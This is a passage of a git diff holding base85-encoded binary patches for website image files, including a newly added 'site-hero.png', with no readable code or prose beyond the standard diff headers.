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 literal 0 HcmV?d00001 diff --git a/site-hero.png b/site-hero.png new file mode 100644 index 0000000000000000000000000000000000000000..5f51f9719ec16c91abb77bb7f982db1119848495 GIT binary patch literal 81587 zcmZ5obwE??+Xi_B5di@aB^3k&1Vl=52AvYpFp!q+8q7dxke2RJx^r~LBu9_#ZU$rD z!Fu1{_x!OqJ3HrzJFn}0j^8T0b^lZL0r2692p95t;NE+ zi6t%eT-7yxL-(pamE=fbs8QR4%y-R!gySinW4b2wVlMckSN+v%rw{$5Cu*L&RF%W_B07pmyi&1Y@#+jmZd8Y+j4NGX_1 zr;0Dm<;`ofJ#1}lA?L}}Bk*@vn2v1U>Os0u1DjFjNtb{A+~rX>Co_ zBmuqGFi=rb@UDFP?=%<|n;IK$Pn8txo)7@DQ!^ea^m`88X*ItaEes}k-*|DN#zrQS zuwkjz-`A4c((^+3qwV9ihmp4x1Z4@BWq$YJXGdt9x5wHY-wJxDPISx&9@DfqU1uXo zJbO6XlM*o*dzWG%`1c@^B@8M;vzQ#?huA-0kvEq>X*DZ3BVFmbJSDq`LwQMf{&w+l z&9)5A4so>f%~e^1g>sq;iR9nv*M9li(b(qF#8AcH?Pu>~<}B4_7wN2AzIETRd439G zz{UO8sQ>uR4cw0w@3yH)W#4tBxn(1b>(XjP1chCOd~UAgPWF7ZURY7E zBJqyZV865H42E1D-Yu5yegJ!}!EH|YzbB{Hy)41HqDnsX=0lx`UYRpe={(tM(Q>NL zj_v3CH#nG0l$RwXAyZyT#w##mV7a z(F1CMuQ$nPbQ?W|T((?S8N*QrtC|Wi90@{1l%p=^qa?i4{AOlmD}t#G_WMt`OGxm{ zR@Tfg4e#E6#I0s0yL^Eqv4(><`9bZ^|F;TmG;YNe^$wd=uZMQ!p-V8~Hx%1a-X*9uQ_mq`ar z<>Wz0Fys9tg#tbB`CU`2+G3LJmQ%&z zV=f~bF?htZ=ldbz?jk7$DV*qKq$220PD@Km)9R4!2NI4ro@snJ9Y-~eZ@O5xYxc(7 z8k@p&paku?(fa|XYAH=^@hU!epti)(!OKp1`KuvV{}31z*QrsC7$V!2v9 z3~%>Z&h|=p6B|bP!6iiV5SB(cqseW`j{f!+)KWBxW zkHH9^|ENQwj{Nmej-{0h?pF{~J(<~UH?bP8^*rq=E7`88d+AeNb4+{E&do_D z%VH>@T4jUkaAARBUF%hxF#0>gz3Ln2vQ!7uZw}C*;UlM~3=0F%vzTKWx71Kn> zIZFl{62tE*bsp8L%~S9D;zQPTj+=zeDNlxtnxx2g28Pqf?RqCbdP7W0MdmLfqVKw0 zg$xhz(Qh1_ZjfeiKl;JRT~O#$^0-D`%X{(m?F^$uUSi^-V>=C29q5T8HkgvvrraKB z*S+?TOGJo;yTUm9%Sz$BjIfr2_|&k0^d9PIneUnRqa-H8Kkxse>RVr+hl5)6E;m~$9FroSoiZGuy-CVY5anBOy3RQrb9RJ>qLI7~ zk98A*c0UbwRqMC2L-WfZ9n-BBk4`EtE)Cy&o0UwAf9c}-y6Y-fQIJ|x@nSw>Wu-&3 zt|m!dZX9MW(99%$x*J)8-nW%x-0D%w971Msi`BPqmyDH z%j^b^(%Ka!q1#rvHI5sDHSJ#-arOzWBhJejXKi;PmDNm+6zk7BEoydA-Izl-v!QmG zu>Gbg-V&8ddH06=(N!4Jm)kHxp zs;k+DC_yNCYpjEqO0?8zeZ;2z5WL9nX`t%RkL=SY@e406)4m6vKlzC64w2zgkum`$ z)%tvNhiMk_J|a3U`l~CGsOZ*tm4gp4O~1wd{xOx1^@jf<+y4H3qC2XStUZLyMd`B- 